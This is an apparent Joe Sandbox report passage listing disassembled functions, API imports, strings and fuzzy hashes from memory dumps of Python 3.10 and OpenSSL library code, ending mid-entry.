Opcode ID: 2af9e1d20706056489e69fa7a5b68c4204390a1b6ed519ae8f657ced546d95a6
Instruction ID: 63ac3ba72a9507174a64cfef0af4389a7d0d3188ab6d0b2453c87da7ed9d7c04
Opcode Fuzzy Hash: 2af9e1d20706056489e69fa7a5b68c4204390a1b6ed519ae8f657ced546d95a6
Instruction Fuzzy Hash: 4131CE61B0A60662FB945F21D56137D26A1EF84BE4F14C139CF0E873D8DF2CEA45A340

Function 00007FF8A7CC41F0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC4229
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC423F
PyErr_Occurred.PYTHON310 ref: 00007FF8A7CC42D9
PyLong_FromLong.PYTHON310 ref: 00007FF8A7CC42EA

Strings

argument, xrefs: 00007FF8A7CC421B
combining, xrefs: 00007FF8A7CC4222
a unicode character, xrefs: 00007FF8A7CC4214

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_ArgumentErr_FromLongLong_OccurredReadyUnicode_
String ID: a unicode character$argument$combining
API String ID: 3097524968-4202047184
Opcode ID: d460b3160a4902d8517a0351533df7bc08d70ff5da73a78ceb230b2c7815c23d
Instruction ID: eb6733114673892c7d1291f991f21380fa76c64ad20be148a66dae15d034ec73
Opcode Fuzzy Hash: d460b3160a4902d8517a0351533df7bc08d70ff5da73a78ceb230b2c7815c23d
Instruction Fuzzy Hash: 3A318D61B0A606A2FB644F65D56237D2AA1EF48BE4F448535CF0E873D4DE3CEA45A340

Function 00007FF8A7FE23E0 Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 190stringCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,00000000,00007FF8A7FE12F2), ref: 00007FF8A7FE2424
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7FE2589

Strings

unknown code, xrefs: 00007FF8A7FE244D
unspecified, xrefs: 00007FF8A7FE2685
..\s\crypto\ts\ts_rsp_verify.c, xrefs: 00007FF8A7FE24CD, 00007FF8A7FE24E7, 00007FF8A7FE2665, 00007FF8A7FE26C2
, status text: , xrefs: 00007FF8A7FE269C
, failure codes: , xrefs: 00007FF8A7FE268C
status code: , xrefs: 00007FF8A7FE26B0

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: memsetstrncpy
String ID: , failure codes: $, status text: $..\s\crypto\ts\ts_rsp_verify.c$status code: $unknown code$unspecified
API String ID: 388311670-2553778726
Opcode ID: e7e2b892387e6c3b1958d5bc5cd42d5509e2bda10a9bbfcdce8ca05bebc8d790
Instruction ID: 87f6b71a1cea83634e4149eb875f61e7c2731c0bed12699bc50be6f036b94498
Opcode Fuzzy Hash: e7e2b892387e6c3b1958d5bc5cd42d5509e2bda10a9bbfcdce8ca05bebc8d790
Instruction Fuzzy Hash: 7C81AE32A0AA86A6EB21DF21A9503BD63A0FF85BC0F850135DA5D43796FF3CE145D704

Function 00007FF8A7DE54C5 Relevance: 10.6, APIs: 3, Strings: 4, Instructions: 121stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF8A7FE6C9A
strchr.VCRUNTIME140 ref: 00007FF8A7FE6CAB
memmove.VCRUNTIME140 ref: 00007FF8A7FE6DCD

Strings

You must type in , xrefs: 00007FF8A7FE6D6F
characters, xrefs: 00007FF8A7FE6D48
..\s\crypto\ui\ui_lib.c, xrefs: 00007FF8A7FE6D34, 00007FF8A7FE6DAD
to , xrefs: 00007FF8A7FE6D59

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strchr$memmove
String ID: characters$ to $..\s\crypto\ui\ui_lib.c$You must type in
API String ID: 1080442166-3422546668
Opcode ID: 058cebb37ec07b436eb0b80b8ced75f7358d0c981b7b5530fb3ba3095bcba817
Instruction ID: 81af83d6a38597068966623f54ba5d0a1058a63a88b3582e0a2f569fc070ec3d
Opcode Fuzzy Hash: 058cebb37ec07b436eb0b80b8ced75f7358d0c981b7b5530fb3ba3095bcba817
Instruction Fuzzy Hash: 5251E272A0A686A6EB218F34C85027C7760FB44BC8F440236EA5C077D9EF3CE664D740

Function 00007FF8A7DE3CFC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 114stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF8A7FD8369
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7FD8384
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A7FD839D

Strings

T, xrefs: 00007FF8A7FD841A
..\s\crypto\store\store_lib.c, xrefs: 00007FF8A7FD83FB, 00007FF8A7FD8413
file, xrefs: 00007FF8A7FD8331, 00007FF8A7FD8376

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: _stricmpstrchrstrncmp
String ID: ..\s\crypto\store\store_lib.c$T$file
API String ID: 3017659097-909561481
Opcode ID: f82d5e18aad4867a0d3488249c216ef60a3fafe48932f94c07e176e136f8f9a8
Instruction ID: e77f4f49005022b14cd0fbe2e624b69b90519b0457e6b6691d23a38f34fa4891
Opcode Fuzzy Hash: f82d5e18aad4867a0d3488249c216ef60a3fafe48932f94c07e176e136f8f9a8
Instruction Fuzzy Hash: 7441803260AB46AAEB129F21E8405AD73A4FB88BC8F444135DE5D07795EF3CE505E714

Function 00007FF8A7DE2E46 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.KERNEL32 ref: 00007FF8A7EEDA12

Strings

~, xrefs: 00007FF8A7EEDADC
~, xrefs: 00007FF8A7EEDAC4
~, xrefs: 00007FF8A7EEDA2C
OPENSSL_ia32cap, xrefs: 00007FF8A7EED9E8
~, xrefs: 00007FF8A7EEDA47

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: EnvironmentVariable
String ID: OPENSSL_ia32cap$~$~$~$~
API String ID: 1431749950-1981414212
Opcode ID: f54770ac84b8c5300f15358e4cffcff24408fff1c96f1f72ed2546603f76ac2f
Instruction ID: 59a6a37374ca8a893de7ca24a7c0cd3777cb648bacf63b63947cf1feb1fad991
Opcode Fuzzy Hash: f54770ac84b8c5300f15358e4cffcff24408fff1c96f1f72ed2546603f76ac2f
Instruction Fuzzy Hash: 99415924E0A657B6E711DF01A8441B822B0FF44BC0F444A35E99D97798FF3CE995E760

Function 00007FF8A7CC4E38 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON310 ref: 00007FF8A7CC4E73
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC4EA8
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC4EBC

Strings

argument 1, xrefs: 00007FF8A7CC4EA1
name, xrefs: 00007FF8A7CC4E6C, 00007FF8A7CC4E9A
a unicode character, xrefs: 00007FF8A7CC4E93

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
String ID: a unicode character$argument 1$name
API String ID: 3545102714-4190364640
Opcode ID: bf24b6ba884f47bb0cce4861fece50e8f2ecd0e547af09c8d9dfd2d108f0a873
Instruction ID: 562578101a014a69d4c08954001746b51928215f8f796a77ef12097d70534c9a
Opcode Fuzzy Hash: bf24b6ba884f47bb0cce4861fece50e8f2ecd0e547af09c8d9dfd2d108f0a873
Instruction Fuzzy Hash: C0319A32B1A646A1EB608F16D45026D6A65EB84BC4F54C035DF0D47B98DF3EEA46E300

Function 00007FF8A7CC435C Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON310 ref: 00007FF8A7CC4397
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC43CC
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC43E0

Strings

decimal, xrefs: 00007FF8A7CC4390, 00007FF8A7CC43BE
argument 1, xrefs: 00007FF8A7CC43C5
a unicode character, xrefs: 00007FF8A7CC43B7

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
String ID: a unicode character$argument 1$decimal
API String ID: 3545102714-2474051849
Opcode ID: 4a0eb80019097f1447480b8d7575f1519ad7e629deb1d4dba1b5699d0132ebf0
Instruction ID: eab5608346c66d355bb081aa4941a6b5ed8bc57303c2cc6d7a2b559e5e3cdb66
Opcode Fuzzy Hash: 4a0eb80019097f1447480b8d7575f1519ad7e629deb1d4dba1b5699d0132ebf0
Instruction Fuzzy Hash: 7D318C32B1A646A1EB608F16D45037D2A61EB84BC4F68C131DF4D4BB99DF3DEA52E700

Function 00007FF8A7CC5004 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

_PyArg_CheckPositional.PYTHON310 ref: 00007FF8A7CC503F
_PyArg_BadArgument.PYTHON310 ref: 00007FF8A7CC5074
_PyUnicode_Ready.PYTHON310 ref: 00007FF8A7CC5088

Strings

argument 1, xrefs: 00007FF8A7CC506D
numeric, xrefs: 00007FF8A7CC5038, 00007FF8A7CC5066
a unicode character, xrefs: 00007FF8A7CC505F

Memory Dump Source

Source File: 00000003.00000002.2577937642.00007FF8A7CC1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8A7CC0000, based on PE: true

Associated: 00000003.00000002.2577906735.00007FF8A7CC0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7CC6000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D24000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D70000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7D73000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2577968175.00007FF8A7DCC000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578220680.00007FF8A7DCF000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2578251692.00007FF8A7DD1000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7cc0000_stub.jbxd

Similarity

API ID: Arg_$ArgumentCheckPositionalReadyUnicode_
String ID: a unicode character$argument 1$numeric
API String ID: 3545102714-2385192657
Opcode ID: 910603b388ac8663005a7d36a4b721a837b516f36f35cbb36a759c2616a32f0f
Instruction ID: fb19214d68231f404ee15c78fc53b64a4a4279c88633b752c259eba507be3b59
Opcode Fuzzy Hash: 910603b388ac8663005a7d36a4b721a837b516f36f35cbb36a759c2616a32f0f
Instruction Fuzzy Hash: 6C317E21B1A646A5FB508F15E55137D2261EB84BC5F648031DF0D97795EF3EE842E340

Function 00007FF8A7DE39B8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74fileCOMMON

Download Yara Rule

APIs

_stat64i32.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF8A7FAE3F9
_chmod.API-MS-WIN-CRT-FILESYSTEM-L1-1-0 ref: 00007FF8A7FAE4BD
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8A7FAE4D6
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF8A7FAE4E2

Strings

..\s\crypto\rand\randfile.c, xrefs: 00007FF8A7FAE41C, 00007FF8A7FAE480
Filename=, xrefs: 00007FF8A7FAE432, 00007FF8A7FAE4A1

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: _chmod_stat64i32fclosefwrite
String ID: ..\s\crypto\rand\randfile.c$Filename=
API String ID: 4260490851-2201148535
Opcode ID: ffb6a3000f1f43db175e07ee08783f9f81d8d84b3e7221bb60cce5b0c7cc5f2d
Instruction ID: a6d02d9aaf99acadb331d4836e6672bc82c7602a6f59d20e01cb5821ba20272d
Opcode Fuzzy Hash: ffb6a3000f1f43db175e07ee08783f9f81d8d84b3e7221bb60cce5b0c7cc5f2d
Instruction Fuzzy Hash: B1319E61A0E686A2EA21DF21E4422AD7355FF45BC4F804235EA6D07799EF3CE604E714

Function 00007FF8A7DE648D Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A8013A98
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A8013B06
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A8013B31

Strings

DER:, xrefs: 00007FF8A8013AF9
ASN1:, xrefs: 00007FF8A8013B24
critical,, xrefs: 00007FF8A8013A91

Memory Dump Source

Source File: 00000003.00000002.2578323569.00007FF8A7DE1000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FF8A7DE0000, based on PE: true

Associated: 00000003.00000002.2578290521.00007FF8A7DE0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7DED000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E45000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E59000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E6A000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E70000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A7E7D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2578323569.00007FF8A802D000.00000020.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A802F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A805A000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A808B000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80B1000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579341133.00007FF8A80D7000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579582027.00007FF8A80FF000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579616747.00007FF8A8105000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8107000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8123000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000003.00000002.2579646602.00007FF8A8127000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a7de0000_stub.jbxd

Similarity

API ID: strncmp
String ID: ASN1:$DER:$critical,
API String ID: 1114863663-369496153
Opcode ID: ddb8bcea3cefd020a4e8a34bae29a66c7c6434e734eea52e0975a0b147bfa819
Instruction ID: 6b95666175d00e2262c85af44c7c245ceedc49d9b130fbcd9683fe3fce4ea4c2
Opcode Fuzzy Hash: ddb8bcea3cefd020a4e8a34bae29a66c7c6434e734eea52e0975a0b147bfa819
Instruction Fuzzy Hash: 9C41C311B0A686A1FF119F22AD4037A6695FF05BE8F484134DE6E47BD9EF3CE4108768

Function 00007FF8A7DE4DF4 Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 108stringCOMMON

Download Yara Rule

APIs

